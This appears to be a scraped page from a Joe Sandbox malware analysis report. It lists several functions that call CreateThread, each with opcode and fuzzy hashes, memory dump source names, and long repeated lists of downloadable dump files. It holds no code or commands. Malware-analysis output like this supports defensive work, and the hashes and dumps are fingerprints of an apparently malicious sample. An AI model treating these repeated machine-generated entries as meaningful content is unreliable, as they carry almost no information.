Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: e02d1dd5adf2c331607da9b43ff52b64f06579f4f350b82ce8c7fca5e924b54c
Instruction ID: 6e6645edd095e4b022fb0d95578c6089963afc6c038a39640c188e2ba203c872
Opcode Fuzzy Hash: e02d1dd5adf2c331607da9b43ff52b64f06579f4f350b82ce8c7fca5e924b54c
Instruction Fuzzy Hash: 1DD05EF544A20E6BD7105F24889E7DE3B58EF40340F044995E946858C5D6795C20EA49

Function 00B59119 Relevance: 1.5, APIs: 1, Instructions: 13threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B59134

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: be4e0a2ef0e7bcce5522aafc158e0486fdda01fb4bb0085723398e87ff1dbfcc
Instruction ID: f36f616d5e2036202d2476b1c9a128b699c98ed35448d452d213be8ad8dadac6
Opcode Fuzzy Hash: be4e0a2ef0e7bcce5522aafc158e0486fdda01fb4bb0085723398e87ff1dbfcc
Instruction Fuzzy Hash: BDE0127551F2AE9BC7415F75C45939E7BB0AF42312F144089DA4155441C7515829CB89

Function 00B6340E Relevance: 1.5, APIs: 1, Instructions: 12threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B63428

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 6e7e72027fa4b42ee480ea9b5e8c5ed8e00de10bd50d388043df9973cb074b30
Instruction ID: 1e236dcff65c48d26839495f7f2ff20adce898436c06b4db21c40706f277ec3b
Opcode Fuzzy Hash: 6e7e72027fa4b42ee480ea9b5e8c5ed8e00de10bd50d388043df9973cb074b30
Instruction Fuzzy Hash: 38D05E305593955BD7129F708CB27887FA4FF42311F0824D6E9154B053D56828258B95

Function 00B58163 Relevance: 1.5, APIs: 1, Instructions: 10threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B58170

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 9d95b956c4dba1a8d6fe94864ae101b757324b43e813b8b90505c8eb11142b5b
Instruction ID: 1c45deea471add7c4b37b0597a44584552da3643750bcd4ec788e3800727d31e
Opcode Fuzzy Hash: 9d95b956c4dba1a8d6fe94864ae101b757324b43e813b8b90505c8eb11142b5b
Instruction Fuzzy Hash: E5C0127251AAC669CB512F70D81E3AE3B508F05741F2500C8A9406A581C9635825CF1D

Function 00B62348 Relevance: 1.5, APIs: 1, Instructions: 8threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000), ref: 00B62352

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559588592.0000000000BA1000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559635104.0000000000BA9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559704951.0000000000BAA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559743361.0000000000BAB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559807344.0000000000BAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559838579.0000000000BAF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559877535.0000000000BB0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559923651.0000000000BBF000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559962301.0000000000BC0000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560011164.0000000000BC1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560061598.0000000000BC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560132461.0000000000BC4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560170270.0000000000BC9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560207690.0000000000BD7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560242584.0000000000BD8000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560273710.0000000000BD9000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560308756.0000000000BDB000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560346486.0000000000BDC000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560378272.0000000000BDD000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560433991.0000000000C2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560518858.0000000000C3C000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2560548993.0000000000C3E000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_990000_A77BGJTTW6SX9ESX.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: d129ef710a5bfb42ce835e41ca318d1d015e30f3e9270ba67b15a0f72d20ddfb
Instruction ID: fca825ce39f12bca66920d0e1d6d12740399e568fb4003b4021a1dca1fdd872a
Opcode Fuzzy Hash: d129ef710a5bfb42ce835e41ca318d1d015e30f3e9270ba67b15a0f72d20ddfb
Instruction Fuzzy Hash: F0C02B31D4A12839EB005B60C8F73CD7F1CFF04700F008058A5409A0C1C258D405C308

Function 00B54AA7 Relevance: 1.5, APIs: 1, Instructions: 8threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE ref: 00B54AB5

Memory Dump Source

Source File: 00000006.00000002.2559118351.0000000000B53000.00000080.00000001.01000000.0000000B.sdmp, Offset: 00990000, based on PE: true

Associated: 00000006.00000002.2552761189.0000000000990000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552791124.0000000000992000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552888676.0000000000996000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552924168.000000000099A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2552989151.00000000009A4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553047790.00000000009A5000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2553282441.00000000009A6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554298066.0000000000B01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2554758932.0000000000B03000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555320870.0000000000B15000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555389903.0000000000B17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B18000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555426846.0000000000B22000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2555626920.0000000000B27000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2557593165.0000000000B2A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2558999163.0000000000B50000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559033618.0000000000B51000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559165476.0000000000B66000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559247732.0000000000B71000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559283882.0000000000B75000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559324272.0000000000B86000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559373996.0000000000B89000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559423828.0000000000B8A000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559494445.0000000000B8F000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000006.00000002.2559532930.0000000000B9D000.00000080.00000001.01000000.0000000B.sdmpDownload File
